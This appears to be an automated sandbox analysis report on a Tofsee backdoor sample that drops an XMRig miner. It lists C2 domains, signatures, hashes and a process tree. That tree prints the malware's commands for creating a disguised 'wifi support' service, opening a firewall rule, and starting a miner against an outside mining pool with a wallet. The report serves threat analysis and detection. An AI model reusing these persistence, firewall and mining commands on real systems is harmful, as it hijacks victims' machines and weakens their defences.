Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/11/2022, 14:55

General

  • Target
    file.exe
  • Size 150KB
  • Sample221127-saffeaaf9w
  • SHA256 b889b2275d80bc030b55aabd2fcdfec3fbcca5e44c43e5a49badf0f876a8172c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4132
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\efcdmeyv\
      2⤵
        PID:1168
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vkyvouqt.exe" C:\Windows\SysWOW64\efcdmeyv\
        2⤵
          PID:2584
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create efcdmeyv binPath= "C:\Windows\SysWOW64\efcdmeyv\vkyvouqt.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4940
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description efcdmeyv "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4912
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start efcdmeyv
          2⤵
          • Launches sc.exe
          PID:3044
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4400
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4132 -s 1040
          2⤵
          • Program crash
          PID:216
      • C:\Windows\SysWOW64\efcdmeyv\vkyvouqt.exe
        C:\Windows\SysWOW64\efcdmeyv\vkyvouqt.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3372
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4136
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4104
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 520
          2⤵
          • Program crash
          PID:212
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4132 -ip 4132
        1⤵
          PID:2828
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3372 -ip 3372
          1⤵
            PID:632

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                vkyvouqt.exe

                • Path C:\Users\Admin\AppData\Local\Temp\vkyvouqt.exe
                • Size 10.5MB
                • SHA256 93a6c94a43c6bc2bc78452fd845b90893878be8311543f6e49eeaff77b13c6b8
                • MD5 SHA1 SHA512 SSDEEP

                vkyvouqt.exe

                • Path C:\Windows\SysWOW64\efcdmeyv\vkyvouqt.exe
                • Size 10.5MB
                • SHA256 93a6c94a43c6bc2bc78452fd845b90893878be8311543f6e49eeaff77b13c6b8
                • MD5 SHA1 SHA512 SSDEEP

                memory/3372-150-0x0000000000400000-0x000000000045B000-memory.dmp

                memory/3372-149-0x00000000006D9000-0x00000000006E9000-memory.dmp

                memory/4104-178-0x0000000000400000-0x00000000004F1000-memory.dmp

                memory/4104-173-0x0000000000400000-0x00000000004F1000-memory.dmp

                memory/4132-134-0x0000000000400000-0x000000000045B000-memory.dmp

                memory/4132-141-0x000000000049D000-0x00000000004AD000-memory.dmp

                memory/4132-142-0x0000000002070000-0x0000000002083000-memory.dmp

                memory/4132-133-0x0000000002070000-0x0000000002083000-memory.dmp

                memory/4132-132-0x000000000049D000-0x00000000004AD000-memory.dmp

                memory/4132-152-0x0000000000400000-0x000000000045B000-memory.dmp

                memory/4136-157-0x00000000021F0000-0x00000000021F6000-memory.dmp

                memory/4136-151-0x0000000000B80000-0x0000000000B95000-memory.dmp

                memory/4136-146-0x0000000000B80000-0x0000000000B95000-memory.dmp

                memory/4136-153-0x0000000000B80000-0x0000000000B95000-memory.dmp

                memory/4136-154-0x0000000002A00000-0x0000000002C0F000-memory.dmp

                memory/4136-160-0x0000000002D50000-0x0000000002D60000-memory.dmp

                memory/4136-163-0x0000000002FE0000-0x0000000002FE5000-memory.dmp

                memory/4136-166-0x0000000007A40000-0x0000000007E4B000-memory.dmp

                memory/4136-169-0x0000000002FF0000-0x0000000002FF7000-memory.dmp